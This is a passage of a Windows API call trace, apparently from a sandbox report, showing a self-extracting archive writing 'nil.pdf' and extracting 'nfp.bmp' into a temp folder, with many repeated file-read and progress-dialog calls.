0x1fbea [0068.504] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.504] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x288, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x288, lpOverlapped=0x0) returned 1 [0068.505] GetTickCount () returned 0x1fbea [0068.505] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.505] SetFilePointer (in: hFile=0x1c, lDistanceToMove=874212, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd56e4 [0068.505] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.505] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.505] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.505] CloseHandle (hObject=0x138) returned 1 [0068.506] SetFileAttributesA (lpFileName="nil.pdf", dwFileAttributes=0x20) returned 1 [0068.506] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd56e4 [0068.506] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.507] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.507] OemToCharA (in: pSrc="nfp.bmp", pDst=0x179cc0 | out: pDst="nfp.bmp") returned 1 [0068.507] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="nfp.bmp", cchCount2=1) returned 1 [0068.507] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="nfp.bmp", cchCount2=6) returned 1 [0068.507] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="nfp.bmp", cchCount2=-1) returned 1 [0068.507] SetFilePointer (in: hFile=0x1c, lDistanceToMove=874256, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd5710 [0068.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="nfp.bmp") returned 8 [0068.507] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419ab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.507] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting nfp.bmp") returned 18 [0068.507] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting nfp.bmp") returned 1 [0068.507] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.507] OemToCharBuffA (in: lpszSrc="n", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="n") returned 1 [0068.507] CharToOemBuffA (in: lpszSrc="N", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="N") returned 1 [0068.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="nfp.bmp") returned 8 [0068.507] FindFirstFileW (in: lpFileName="nfp.bmp", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.507] GetLastError () returned 0x2 [0068.507] GetFileAttributesA (lpFileName="nfp.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nfp.bmp")) returned 0xffffffff [0068.507] CreateFileA (lpFileName="nfp.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nfp.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.507] GetFileType (hFile=0x138) returned 0x1 [0068.508] SetFilePointer (in: hFile=0x138, lDistanceToMove=508, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x1fc [0068.508] SetEndOfFile (hFile=0x138) returned 1 [0068.508] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1a0, lpOverlapped=0x0) returned 1 [0068.508] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.508] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.508] GetTickCount () returned 0x1fbea [0068.508] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.508] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.508] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.508] GetTickCount () returned 0x1fbea [0068.508] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.508] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.508] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.508] GetTickCount () returned 0x1fbea [0068.508] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.508] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.508] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.508] GetTickCount () returned 0x1fbea [0068.508] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.508] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.508] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.508] GetTickCount () returned 0x1fbea [0068.508] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.508] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.508] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.508] GetTickCount () returned 0x1fbea [0068.508] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.508] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.508] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.508] GetTickCount () returned 0x1fbea [0068.508] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.508] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.509] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.509] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.509] GetTickCount () returned 0x1fbea [0068.509] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.509] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.510] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.510] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.510] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.510] GetTickCount () returned 0x1fbea [0068.510] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 